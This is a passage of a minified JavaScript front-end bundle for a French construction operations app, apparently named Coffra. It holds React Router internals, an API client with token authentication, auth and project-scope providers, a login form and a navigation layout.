u.imageSrcSet==&quot;string&quot;&amp;&amp;typeof u.imageSizes==&quot;string&quot;:typeof u.rel==&quot;string&quot;&amp;&amp;typeof u.href==&quot;string&quot;}async function lv(u,c,d){let r=await Promise.all(u.map(async f=&gt;{let p=c.routes[f.route.id];if(p){let y=await tv(p,d);return y.links?y.links():[]}return[]}));return uv(r.flat(1).filter(av).filter(f=&gt;f.rel===&quot;stylesheet&quot;||f.rel===&quot;preload&quot;).map(f=&gt;f.rel===&quot;stylesheet&quot;?{...f,rel:&quot;prefetch&quot;,as:&quot;style&quot;}:{...f,rel:&quot;prefetch&quot;}))}function Rm(u,c,d,r,f,p){let y=(g,x)=&gt;d[x]?g.route.id!==d[x].route.id:!0,v=(g,x)=&gt;{var N;return d[x].pathname!==g.pathname||((N=d[x].route.path)==null?void 0:N.endsWith(&quot;*&quot;))&amp;&amp;d[x].params[&quot;*&quot;]!==g.params[&quot;*&quot;]};return p===&quot;assets&quot;?c.filter((g,x)=&gt;y(g,x)||v(g,x)):p===&quot;data&quot;?c.filter((g,x)=&gt;{var b;let N=r.routes[g.route.id];if(!N||!N.hasLoader)return!1;if(y(g,x)||v(g,x))return!0;if(g.route.shouldRevalidate){let T=g.route.shouldRevalidate({currentUrl:new URL(f.pathname+f.search+f.hash,window.origin),currentParams:((b=d[0])==null?void 0:b.params)||{},nextUrl:new URL(u,window.origin),nextParams:g.params,defaultShouldRevalidate:!0});if(typeof T==&quot;boolean&quot;)return T}return!0}):[]}function nv(u,c,{includeHydrateFallback:d}={}){return sv(u.map(r=&gt;{let f=c.routes[r.route.id];if(!f)return[];let p=[f.module];return f.clientActionModule&amp;&amp;(p=p.concat(f.clientActionModule)),f.clientLoaderModule&amp;&amp;(p=p.concat(f.clientLoaderModule)),d&amp;&amp;f.hydrateFallbackModule&amp;&amp;(p=p.concat(f.hydrateFallbackModule)),f.imports&amp;&amp;(p=p.concat(f.imports)),p}).flat(1))}function sv(u){return[...new Set(u)]}function iv(u){let c={},d=Object.keys(u).sort();for(let r of d)c[r]=u[r];return c}function uv(u,c){let d=new Set;return new Set(c),u.reduce((r,f)=&gt;{let p=JSON.stringify(iv(f));return d.has(p)||(d.add(p),r.push({key:p,link:f})),r},[])}function or(){let u=m.useContext(an);return rr(u,&quot;You must render this element inside a &lt;DataRouterContext.Provider&gt; element&quot;),u}function cv(){let u=m.useContext(Ti);return rr(u,&quot;You must render this element inside a &lt;DataRouterStateContext.Provider&gt; element&quot;),u}var dr=m.createContext(void 0);dr.displayName=&quot;FrameworkContext&quot;;function fr(){let u=m.useContext(dr);return rr(u,&quot;You must render this element inside a &lt;HydratedRouter&gt; element&quot;),u}function rv(u,c){let d=m.useContext(dr),[r,f]=m.useState(!1),[p,y]=m.useState(!1),{onFocus:v,onBlur:g,onMouseEnter:x,onMouseLeave:N,onTouchStart:b}=c,T=m.useRef(null);m.useEffect(()=&gt;{if(u===&quot;render&quot;&amp;&amp;y(!0),u===&quot;viewport&quot;){let H=k=&gt;{k.forEach(F=&gt;{y(F.isIntersecting)})},M=new IntersectionObserver(H,{threshold:.5});return T.current&amp;&amp;M.observe(T.current),()=&gt;{M.disconnect()}}},[u]),m.useEffect(()=&gt;{if(r){let H=setTimeout(()=&gt;{y(!0)},100);return()=&gt;{clearTimeout(H)}}},[r]);let G=()=&gt;{f(!0)},O=()=&gt;{f(!1),y(!1)};return d?u!==&quot;intent&quot;?[p,T,{}]:[p,T,{onFocus:In(v,G),onBlur:In(g,O),onMouseEnter:In(x,G),onMouseLeave:In(N,O),onTouchStart:In(b,G)}]:[!1,T,{}]}function In(u,c){return d=&gt;{u&amp;&amp;u(d),d.defaultPrevented||c(d)}}function ov({page:u,...c}){let d=bx(),{router:r}=or(),f=m.useMemo(()=&gt;Gm(r.routes,u,r.basename),[r.routes,u,r.basename]);return f?d?m.createElement(fv,{page:u,matches:f,...c}):m.createElement(mv,{page:u,matches:f,...c}):null}function dv(u){let{manifest:c,routeModules:d}=fr(),[r,f]=m.useState([]);return m.useEffect(()=&gt;{let p=!1;return lv(u,c,d).then(y=&gt;{p||f(y)}),()=&gt;{p=!0}},[u,c,d]),r}function fv({page:u,matches:c,...d}){let r=Ft(),{future:f}=fr(),{basename:p}=or(),y=m.useMemo(()=&gt;{if(u===r.pathname+r.search+r.hash)return[];let v=th(u,p,f.unstable_trailingSlashAwareDataRequests,&quot;rsc&quot;),g=!1,x=[];for(let N of c)typeof N.route.shouldRevalidate==&quot;function&quot;?g=!0:x.push(N.route.id);return g&amp;&amp;x.length&gt;0&amp;&amp;v.searchParams.set(&quot;_routes&quot;,x.join(&quot;,&quot;)),[v.pathname+v.search]},[p,f.unstable_trailingSlashAwareDataRequests,u,r,c]);return m.createElement(m.Fragment,null,y.map(v=&gt;m.createElement(&quot;link&quot;,{key:v,rel:&quot;prefetch&quot;,as:&quot;fetch&quot;,href:v,...d})))}function mv({page:u,matches:c,...d}){let r=Ft(),{future:f,manifest:p,routeModules:y}=fr(),{basename:v}=or(),{loaderData:g,matches:x}=cv(),N=m.useMemo(()=&gt;Rm(u,c,x,p,r,&quot;data&quot;),[u,c,x,p,r]),b=m.useMemo(()=&gt;Rm(u,c,x,p,r,&quot;assets&quot;),[u,c,x,p,r]),T=m.useMemo(()=&gt;{if(u===r.pathname+r.search+r.hash)return[];let H=new Set,M=!1;if(c.forEach(F=&gt;{var ee;let K=p.routes[F.route.id];!K||!K.hasLoader||(!N.some(I=&gt;I.route.id===F.route.id)&amp;&amp;F.route.id in g&amp;&amp;((ee=y[F.route.id])!=null&amp;&amp;ee.shouldRevalidate)||K.hasClientLoader?M=!0:H.add(F.route.id))}),H.size===0)return[];let k=th(u,v,f.unstable_trailingSlashAwareDataRequests,&quot;data&quot;);return M&amp;&amp;H.size&gt;0&amp;&amp;k.searchParams.set(&quot;_routes&quot;,c.filter(F=&gt;H.has(F.route.id)).map(F=&gt;F.route.id).join(&quot;,&quot;)),[k.pathname+k.search]},[v,f.unstable_trailingSlashAwareDataRequests,g,r,p,N,c,u,y]),G=m.useMemo(()=&gt;nv(b,p),[b,p]),O=dv(b);return m.createElement(m.Fragment,null,T.map(H=&gt;m.createElement(&quot;link&quot;,{key:H,rel:&quot;prefetch&quot;,as:&quot;fetch&quot;,href:H,...d})),G.map(H=&gt;m.createElement(&quot;link&quot;,{key:H,rel:&quot;modulepreload&quot;,href:H,...d})),O.map(({key:H,link:M})=&gt;m.createElement(&quot;link&quot;,{key:H,nonce:d.nonce,...M,crossOrigin:M.crossOrigin??d.crossOrigin})))}function hv(...u){return c=&gt;{u.forEach(d=&gt;{typeof d==&quot;function&quot;?d(c):d!=null&amp;&amp;(d.current=c)})}}var pv=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;;try{pv&amp;&amp;(window.__reactRouterVersion=&quot;7.14.0&quot;)}catch{}function xv({basename:u,children:c,unstable_useTransitions:d,window:r}){let f=m.useRef();f.current==null&amp;&amp;(f.current=Jp({window:r,v5Compat:!0}));let p=f.current,[y,v]=m.useState({action:p.action,location:p.location}),g=m.useCallback(x=&gt;{d===!1?v(x):m.startTransition(()=&gt;v(x))},[d]);return m.useLayoutEffect(()=&gt;p.listen(g),[p,g]),m.createElement(Vx,{basename:u,children:c,location:y.location,navigationType:y.action,navigator:p,unstable_useTransitions:d})}var ah=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,be=m.forwardRef(function({onClick:c,discover:d=&quot;render&quot;,prefetch:r=&quot;none&quot;,relative:f,reloadDocument:p,replace:y,unstable_mask:v,state:g,target:x,to:N,preventScrollReset:b,viewTransition:T,unstable_defaultShouldRevalidate:G,...O},H){let{basename:M,navigator:k,unstable_useTransitions:F}=m.useContext(Rt),K=typeof N==&quot;string&quot;&amp;&amp;ah.test(N),ee=Vm(N,M);N=ee.to;let I=Ax(N,{relative:f}),J=Ft(),B=null;if(v){let ae=_i(v,[],J.unstable_mask?J.unstable_mask.pathname:&quot;/&quot;,!0);M!==&quot;/&quot;&amp;&amp;(ae.pathname=ae.pathname===&quot;/&quot;?M:la([M,ae.pathname])),B=k.createHref(ae)}let[R,Q,W]=rv(r,O),P=gv(N,{replace:y,unstable_mask:v,state:g,target:x,preventScrollReset:b,relative:f,viewTransition:T,unstable_defaultShouldRevalidate:G,unstable_useTransitions:F});function D(ae){c&amp;&amp;c(ae),ae.defaultPrevented||P(ae)}let te=!(ee.isExternal||p),$=m.createElement(&quot;a&quot;,{...O,...W,href:(te?B:void 0)||ee.absoluteURL||I,onClick:te?D:c,ref:hv(H,Q),target:x,&quot;data-discover&quot;:!K&amp;&amp;d===&quot;render&quot;?&quot;true&quot;:void 0});return R&amp;&amp;!K?m.createElement(m.Fragment,null,$,m.createElement(ov,{page:I})):$});be.displayName=&quot;Link&quot;;var aa=m.forwardRef(function({&quot;aria-current&quot;:c=&quot;page&quot;,caseSensitive:d=!1,className:r=&quot;&quot;,end:f=!1,style:p,to:y,viewTransition:v,children:g,...x},N){let b=as(y,{relative:x.relative}),T=Ft(),G=m.useContext(Ti),{navigator:O,basename:H}=m.useContext(Rt),M=G!=null&amp;&amp;Ev(b)&amp;&amp;v===!0,k=O.encodeLocation?O.encodeLocation(b).pathname:b.pathname,F=T.pathname,K=G&amp;&amp;G.navigation&amp;&amp;G.navigation.location?G.navigation.location.pathname:null;d||(F=F.toLowerCase(),K=K?K.toLowerCase():null,k=k.toLowerCase()),K&amp;&amp;H&amp;&amp;(K=Sa(K,H)||K);const ee=k!==&quot;/&quot;&amp;&amp;k.endsWith(&quot;/&quot;)?k.length-1:k.length;let I=F===k||!f&amp;&amp;F.startsWith(k)&amp;&amp;F.charAt(ee)===&quot;/&quot;,J=K!=null&amp;&amp;(K===k||!f&amp;&amp;K.startsWith(k)&amp;&amp;K.charAt(k.length)===&quot;/&quot;),B={isActive:I,isPending:J,isTransitioning:M},R=I?c:void 0,Q;typeof r==&quot;function&quot;?Q=r(B):Q=[r,I?&quot;active&quot;:null,J?&quot;pending&quot;:null,M?&quot;transitioning&quot;:null].filter(Boolean).join(&quot; &quot;);let W=typeof p==&quot;function&quot;?p(B):p;return m.createElement(be,{...x,&quot;aria-current&quot;:R,className:Q,ref:N,style:W,to:y,viewTransition:v},typeof g==&quot;function&quot;?g(B):g)});aa.displayName=&quot;NavLink&quot;;var vv=m.forwardRef(({discover:u=&quot;render&quot;,fetcherKey:c,navigate:d,reloadDocument:r,replace:f,state:p,method:y=Si,action:v,onSubmit:g,relative:x,preventScrollReset:N,viewTransition:b,unstable_defaultShouldRevalidate:T,...G},O)=&gt;{let{unstable_useTransitions:H}=m.useContext(Rt),M=Sv(),k=Nv(v,{relative:x}),F=y.toLowerCase()===&quot;get&quot;?&quot;get&quot;:&quot;post&quot;,K=typeof v==&quot;string&quot;&amp;&amp;ah.test(v),ee=I=&gt;{if(g&amp;&amp;g(I),I.defaultPrevented)return;I.preventDefault();let J=I.nativeEvent.submitter,B=(J==null?void 0:J.getAttribute(&quot;formmethod&quot;))||y,R=()=&gt;M(J||I.currentTarget,{fetcherKey:c,method:B,navigate:d,replace:f,state:p,relative:x,preventScrollReset:N,viewTransition:b,unstable_defaultShouldRevalidate:T});H&amp;&amp;d!==!1?m.startTransition(()=&gt;R()):R()};return m.createElement(&quot;form&quot;,{ref:O,method:F,action:k,onSubmit:r?g:ee,...G,&quot;data-discover&quot;:!K&amp;&amp;u===&quot;render&quot;?&quot;true&quot;:void 0})});vv.displayName=&quot;Form&quot;;function yv(u){return`${u} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function lh(u){let c=m.useContext(an);return Xe(c,yv(u)),c}function gv(u,{target:c,replace:d,unstable_mask:r,state:f,preventScrollReset:p,relative:y,viewTransition:v,unstable_defaultShouldRevalidate:g,unstable_useTransitions:x}={}){let N=Wt(),b=Ft(),T=as(u,{relative:y});return m.useCallback(G=&gt;{if(Wx(G,c)){G.preventDefault();let O=d!==void 0?d:es(b)===es(T),H=()=&gt;N(u,{replace:O,unstable_mask:r,state:f,preventScrollReset:p,relative:y,viewTransition:v,unstable_defaultShouldRevalidate:g});x?m.startTransition(()=&gt;H()):H()}},[b,N,T,d,r,f,c,u,p,y,v,g,x])}var bv=0,jv=()=&gt;`__${String(++bv)}__`;function Sv(){let{router:u}=lh(&quot;useSubmit&quot;),{basename:c}=m.useContext(Rt),d=kx(),r=u.fetch,f=u.navigate;return m.useCallback(async(p,y={})=&gt;{let{action:v,method:g,encType:x,formData:N,body:b}=ev(p,c);if(y.navigate===!1){let T=y.fetcherKey||jv();await r(T,d,y.action||v,{unstable_defaultShouldRevalidate:y.unstable_defaultShouldRevalidate,preventScrollReset:y.preventScrollReset,formData:N,body:b,formMethod:y.method||g,formEncType:y.encType||x,flushSync:y.flushSync})}else await f(y.action||v,{unstable_defaultShouldRevalidate:y.unstable_defaultShouldRevalidate,preventScrollReset:y.preventScrollReset,formData:N,body:b,formMethod:y.method||g,formEncType:y.encType||x,replace:y.replace,state:y.state,fromRouteId:d,flushSync:y.flushSync,viewTransition:y.viewTransition})},[r,f,c,d])}function Nv(u,{relative:c}={}){let{basename:d}=m.useContext(Rt),r=m.useContext(Vt);Xe(r,&quot;useFormAction must be used inside a RouteContext&quot;);let[f]=r.matches.slice(-1),p={...as(u||&quot;.&quot;,{relative:c})},y=Ft();if(u==null){p.search=y.search;let v=new URLSearchParams(p.search),g=v.getAll(&quot;index&quot;);if(g.some(N=&gt;N===&quot;&quot;)){v.delete(&quot;index&quot;),g.filter(b=&gt;b).forEach(b=&gt;v.append(&quot;index&quot;,b));let N=v.toString();p.search=N?`?${N}`:&quot;&quot;}}return(!u||u===&quot;.&quot;)&amp;&amp;f.route.index&amp;&amp;(p.search=p.search?p.search.replace(/^\?/,&quot;?index&amp;&quot;):&quot;?index&quot;),d!==&quot;/&quot;&amp;&amp;(p.pathname=p.pathname===&quot;/&quot;?d:la([d,p.pathname])),es(p)}function Ev(u,{relative:c}={}){let d=m.useContext($m);Xe(d!=null,&quot;`useViewTransitionState` must be used within `react-router-dom`&#039;s `RouterProvider`.  Did you accidentally import `RouterProvider` from `react-router`?&quot;);let{basename:r}=lh(&quot;useViewTransitionState&quot;),f=as(u,{relative:c});if(!d.isTransitioning)return!1;let p=Sa(d.currentLocation.pathname,r)||d.currentLocation.pathname,y=Sa(d.nextLocation.pathname,r)||d.nextLocation.pathname;return Ei(f.pathname,y)!=null||Ei(f.pathname,p)!=null}function _v(u){const c=u.trim().replace(/\/+$/,&quot;&quot;);return c?/^https?:\/\//i.test(c)?c:`https://${c}`:&quot;&quot;}const Tv=_v(&quot;https://apicoffra.jrbxsolutions.com&quot;);class xe extends Error{constructor(d,r,f){super(d);Vc(this,&quot;status&quot;);Vc(this,&quot;body&quot;);this.name=&quot;ApiError&quot;,this.status=r,this.body=f}}async function le(u,c={}){const{token:d,headers:r,...f}=c,p=`${Tv}${u.startsWith(&quot;/&quot;)?u:`/${u}`}`,y=await fetch(p,{...f,headers:{Accept:&quot;application/json&quot;,&quot;Content-Type&quot;:&quot;application/json&quot;,...d?{Authorization:`Bearer ${d}`}:{},...r}}),v=await y.text();let g=null;if(v)try{g=JSON.parse(v)}catch{g={raw:v}}if(!y.ok){let x=y.statusText;if(typeof g==&quot;object&quot;&amp;&amp;g!==null){if(&quot;errors&quot;in g&amp;&amp;typeof g.errors==&quot;object&quot;){const N=g.errors;for(const b of Object.values(N)){if(Array.isArray(b)&amp;&amp;b[0]){x=b[0];break}if(typeof b==&quot;string&quot;&amp;&amp;b){x=b;break}}}if(&quot;message&quot;in g){const N=g.message,b=typeof N==&quot;string&quot;?N:JSON.stringify(N);x===y.statusText&amp;&amp;(x=b)}}throw new xe(x||&quot;Erreur réseau&quot;,y.status,g)}return g}function mr(u){if(typeof u!=&quot;object&quot;||u===null||!(&quot;errors&quot;in u))return null;const c=u.errors;if(typeof c!=&quot;object&quot;||c===null)return null;const d={};for(const[r,f]of Object.entries(c))Array.isArray(f)&amp;&amp;typeof f[0]==&quot;string&quot;?d[r]=f[0]:typeof f==&quot;string&quot;&amp;&amp;(d[r]=f);return Object.keys(d).length&gt;0?d:null}const ji=&quot;coffra_token&quot;,nh=m.createContext(null);function Av({children:u}){const[c,d]=m.useState(()=&gt;localStorage.getItem(ji)),[r,f]=m.useState(null),[p,y]=m.useState(!!c),[v,g]=m.useState(null);m.useEffect(()=&gt;{if(!c){f(null),y(!1);return}let O=!1;return y(!0),(async()=&gt;{try{const H=await le(&quot;/api/v1/auth/me&quot;,{method:&quot;GET&quot;,token:c});O||f(H.user)}catch{O||(localStorage.removeItem(ji),d(null),f(null),g(&quot;La session n’a pas pu être validée (réponse refusée ou API injoignable). En production, définissez VITE_API_BASE_URL sur l’URL absolue de l’API Laravel (ex. https://api.votredomaine.com), puis reconstruisez le front (npm run build).&quot;))}finally{O||y(!1)}})(),()=&gt;{O=!0}},[c]);const x=m.useCallback(()=&gt;{g(null)},[]),N=m.useCallback(async(O,H)=&gt;{g(null);const M=await le(&quot;/api/v1/auth/login&quot;,{method:&quot;POST&quot;,body:JSON.stringify({email:O,password:H,device_name:&quot;coffra-web&quot;})});if(typeof M.token!=&quot;string&quot;||!M.token)throw new xe(&quot;Réponse de connexion invalide (jeton manquant). Souvent causé par VITE_API_BASE_URL vide en production : les requêtes partent vers le site du front au lieu de l’API Laravel.&quot;,0,M);localStorage.setItem(ji,M.token),d(M.token),f(M.user??null)},[]),b=m.useCallback(async()=&gt;{if(c)try{await le(&quot;/api/v1/auth/logout&quot;,{method:&quot;POST&quot;,token:c})}catch{}localStorage.removeItem(ji),d(null),f(null),g(null)},[c]),T=m.useCallback(O=&gt;!!(r!=null&amp;&amp;r.abilities.includes(O)),[r]),G=m.useMemo(()=&gt;({token:c,user:r,bootstrapping:p,sessionBootstrapError:v,clearSessionBootstrapError:x,login:N,logout:b,can:T}),[c,r,p,v,x,N,b,T]);return n.jsx(nh.Provider,{value:G,children:u})}function Oe(){const u=m.useContext(nh);if(!u)throw new Error(&quot;useAuth doit être utilisé dans AuthProvider&quot;);return u}const en=&quot;coffra_active_project_id&quot;,sh=m.createContext(null);function Cv({children:u}){const{token:c,user:d,can:r}=Oe(),[f,p]=m.useState([]),[y,v]=m.useState(!1),[g,x]=m.useState(()=&gt;{const O=localStorage.getItem(en),H=O?Number(O):NaN;return Number.isFinite(H)?H:null}),N=m.useCallback(O=&gt;{x(O),O!==null?localStorage.setItem(en,String(O)):localStorage.removeItem(en)},[]),b=m.useCallback(async()=&gt;{if(!c||!d||!r(&quot;projects.view&quot;)){p([]);return}v(!0);try{const O=await le(&quot;/api/v1/projects?per_page=100&amp;sort=name&quot;,{method:&quot;GET&quot;,token:c});p(O.data),x(H=&gt;{var ee;const M=new Set(O.data.map(I=&gt;I.id));if(H!==null&amp;&amp;M.has(H))return H;const k=localStorage.getItem(en),F=k?Number(k):NaN;if(Number.isFinite(F)&amp;&amp;M.has(F))return F;const K=((ee=O.data[0])==null?void 0:ee.id)??null;return K!==null?localStorage.setItem(en,String(K)):localStorage.removeItem(en),K})}catch{p([])}finally{v(!1)}},[c,d,r]);m.useEffect(()=&gt;{b()},[b]);const T=m.useMemo(()=&gt;f.find(O=&gt;O.id===g)??null,[f,g]),G=m.useMemo(()=&gt;({projects:f,activeProjectId:g,activeProject:T,loading:y,setActiveProjectId:N,refreshProjects:b}),[f,g,T,y,N,b]);return n.jsx(sh.Provider,{value:G,children:u})}function ot(){const u=m.useContext(sh);if(!u)throw new Error(&quot;useProjectScope doit être utilisé dans ProjectProvider&quot;);return u}function zv(){const{token:u,login:c,sessionBootstrapError:d,clearSessionBootstrapError:r}=Oe(),[f,p]=m.useState(&quot;&quot;),[y,v]=m.useState(&quot;&quot;),[g,x]=m.useState(null),[N,b]=m.useState(!1),T=g??d;if(u)return n.jsx(cr,{to:&quot;/&quot;,replace:!0});async function G(O){O.preventDefault(),x(null),r(),b(!0);try{await c(f,y)}catch(H){H instanceof xe?x(H.message):x(&quot;Connexion impossible&quot;)}finally{b(!1)}}return n.jsx(&quot;div&quot;,{className:&quot;flex min-h-dvh flex-col justify-center px-4 pb-24 pt-8&quot;,children:n.jsxs(&quot;div&quot;,{className:&quot;mx-auto w-full max-w-sm&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-center text-xs font-medium uppercase tracking-[0.2em] text-amber-500&quot;,children:&quot;Coffra&quot;}),n.jsx(&quot;h1&quot;,{className:&quot;mt-2 text-center text-2xl font-semibold text-stone-50&quot;,children:&quot;Connexion&quot;}),n.jsx(&quot;p&quot;,{className:&quot;mt-1 text-center text-sm text-stone-500&quot;,children:&quot;Connectez-vous avec l’e-mail et le mot de passe de votre compte.&quot;}),n.jsxs(&quot;form&quot;,{onSubmit:G,className:&quot;mt-8 space-y-4&quot;,children:[T?n.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-red-900/60 bg-red-950/40 px-3 py-2 text-sm text-red-200&quot;,role:&quot;alert&quot;,children:T}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;email&quot;,className:&quot;block text-xs font-medium text-stone-400&quot;,children:&quot;E-mail&quot;}),n.jsx(&quot;input&quot;,{id:&quot;email&quot;,name:&quot;email&quot;,type:&quot;email&quot;,autoComplete:&quot;username&quot;,value:f,onChange:O=&gt;p(O.target.value),className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-3 text-stone-100 outline-none ring-amber-500/0 transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,required:!0})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;password&quot;,className:&quot;block text-xs font-medium text-stone-400&quot;,children:&quot;Mot de passe&quot;}),n.jsx(&quot;input&quot;,{id:&quot;password&quot;,name:&quot;password&quot;,type:&quot;password&quot;,autoComplete:&quot;current-password&quot;,value:y,onChange:O=&gt;v(O.target.value),className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-3 text-stone-100 outline-none ring-amber-500/0 transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,required:!0})]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:N,className:&quot;w-full rounded-xl bg-amber-500 py-3 text-sm font-semibold text-stone-950 transition hover:bg-amber-400 disabled:opacity-60&quot;,children:N?&quot;Connexion…&quot;:&quot;Se connecter&quot;})]})]})})}const hl=({isActive:u})=&gt;[&quot;flex min-w-0 flex-1 flex-col items-center gap-0.5 py-2 text-[10px] font-medium sm:text-xs&quot;,u?&quot;text-amber-400&quot;:&quot;text-stone-500 hover:text-stone-300&quot;].join(&quot; &quot;);function Ov(){const{can:u}=Oe(),{projects:c,activeProjectId:d,setActiveProjectId:r,loading:f}=ot();return n.jsxs(&quot;div&quot;,{className:&quot;flex min-h-dvh flex-col pb-[calc(4.5rem+env(safe-area-inset-bottom))]&quot;,children:[n.jsx(&quot;header&quot;,{className:&quot;sticky top-0 z-10 border-b border-stone-800 bg-stone-950/90 px-4 py-3 backdrop-blur-md&quot;,children:n.jsxs(&quot;div&quot;,{className:&quot;mx-auto flex max-w-lg flex-col gap-2&quot;,children:[n.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-2&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;p&quot;,{className:&quot;text-[10px] font-semibold uppercase tracking-widest text-amber-500&quot;,children:&quot;Coffra&quot;}),n.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold leading-tight text-stone-50&quot;,children:&quot;Opérations&quot;})]}),n.jsxs(&quot;div&quot;,{className:&quot;flex shrink-0 items-center gap-2&quot;,children:[u(&quot;organizations.view&quot;)?n.jsx(aa,{to:&quot;/organization&quot;,className:&quot;rounded-full border border-stone-700 px-2.5 py-1.5 text-[11px] font-medium text-stone-300 hover:border-stone-600&quot;,children:&quot;Org.&quot;}):null,n.jsx(aa,{to:&quot;/profil&quot;,className:&quot;rounded-full border border-stone-700 px-3 py-1.5 text-xs font-medium text-stone-300 hover:border-stone-600&quot;,children:&quot;Profil&quot;})]})]}),u(&quot;projects.view&quot;)&amp;&amp;c.length&gt;0?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;active-project&quot;,className:&quot;sr-only&quot;,children:&quot;Chantier actif&quot;}),n.jsx(&quot;select&quot;,{id:&quot;active-project&quot;,disabled:f,value:d??&quot;&quot;,onChange:p=&gt;{const y=p.target.value;r(y?Number(y):null)},className:&quot;w-full rounded-lg border border-stone-700 bg-stone-900 px-2 py-1.5 text-xs text-stone-200 outline-none focus:border-amber-600&quot;,children:c.map(p=&gt;n.jsxs(&quot;option&quot;,{value:p.id,children:[p.name,p.code?` (${p.code})`:&quot;&quot;]},p.id))})]}):u(&quot;projects.view&quot;)&amp;&amp;!f&amp;&amp;c.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-[11px] text-stone-600&quot;,children:&quot;Aucun chantier visible — sélectionnez-en un après création.&quot;}):null]})}),n.jsx(&quot;main&quot;,{className:&quot;mx-auto w-full max-w-lg flex-1 px-4 py-4&quot;,children:n.jsx(Xx,{})}),n.jsx(&quot;nav&quot;,{className:&quot;fixed bottom-0 left-0 right-0 z-20 border-t border-stone-800 bg-stone-950/95 pb-[env(safe-area-inset-bottom)] backdrop-blur-md&quot;,&quot;aria-label&quot;:&quot;Navigation principale&quot;,children:n.jsxs(&quot;div&quot;,{className:&quot;mx-auto flex max-w-lg justify-around&quot;,children:[n.jsxs(aa,{to:&quot;/&quot;,end:!0,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⌂&quot;}),&quot;Accueil&quot;]}),u(&quot;projects.view&quot;)?n.jsxs(aa,{to:&quot;/projects&quot;,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⧉&quot;}),&quot;Chantiers&quot;]}):null,u(&quot;workers.view&quot;)?n.jsxs(aa,{to:&quot;/workers&quot;,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;◎&quot;}),&quot;Ouvriers&quot;]}):null,u(&quot;attendances.view&quot;)?n.jsxs(aa,{to:&quot;/attendances&quot;,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;✓&quot;}),&quot;Présences&quot;]}):null,u(&quot;production_entries.view&quot;)?n.jsxs(aa,{to:&quot;/production-entries&quot;,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⧗&quot;}),&quot;Prod.&quot;]}):null,u(&quot;payroll.view&quot;)?n.jsxs(aa,{to:&quot;/payroll-entries&quot;,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;₣&quot;}),&quot;Paie&quot;]}):null,u(&quot;users.view&quot;)?n.jsxs(aa,{to:&quot;/users&quot;,className:hl,children:[n.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;👤&quot;}),&quot;Équipe&quot;]}):null]})})]})}const ih=[{value:&quot;entrepreneur_admin&quot;,label:&quot;Entrepreneur (admin)&quot;},{value:&quot;chef_chantier&quot;,label:&quot;Chef de chantier&quot;},{value:&quot;contremaitre_technicien&quot;,label:&quot;Contremaître / technicien&quot;},{value:&quot;financier_tresorier&quot;,label:&quot;Financier / trésorier&quot;}];function Ci(u){var c;return((c=ih.find(d=&gt;d.value===u))==null?void 0:c.label)??u}const oe=&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-2.5 text-sm text-stone-100 outline-none transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,re=&quot;block text-xs font-medium text-stone-400&quot;,ht=&quot;w-full rounded-xl bg-amber-500 py-3 text-sm font-semibold text-stone-950 transition hover:bg-amber-400 disabled:opacity-60&quot;,Xt=&quot;rounded-xl border border-stone-700 px-4 py-2 text-sm font-medium text-stone-200 transition hover:bg-stone-900&quot;,ft=&quot;block rounded-2xl border border-stone-800 bg-stone-900/50 px-4 py-3 transition hover:border-stone-700&quot;,wv=[{to:&quot;/organization&quot;,title:&quot;Organisation&quot;,hint:&quot;Informations de votre structure&quot;,ability:&quot;organizations.view&quot;},{to:&quot;/projects&quot;,title:&quot;Chantiers&quot;,hint:&quot;Projets et périmètre terrain&quot;,ability:&quot;projects.view&quot;},{to:&quot;/users&quot;,title:&quot;Utilisateurs&quot;,hint:&quot;Comptes staff (entrepreneur admin)&quot;,ability:&quot;users.view&quot;},{to:&quot;/workers&quot;,title:&quot;Ouvriers&quot;,hint:&quot;Personnes sans compte applicatif&quot;,ability:&quot;workers.view&quot;},{to:&quot;/attendances&quot;,title:&quot;Présences&quot;,hint:&quot;Pointages par chantier actif&quot;,ability:&quot;attendances.view&quot;},{to:&quot;/production-entries&quot;,title:&quot;Production&quot;,hint:&quot;Saisie au rendu (validation chantier)&quot;,ability:&quot;production_entries.view&quot;}];function Rv(){const{user:u,can:c}=Oe(),{activeProject:d,activeProjectId:r}=ot(),f=wv.filter(p=&gt;c(p.ability));return n.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[n.jsxs(&quot;section&quot;,{children:[n.jsx(&quot;p&quot;,{className:&quot;text-sm 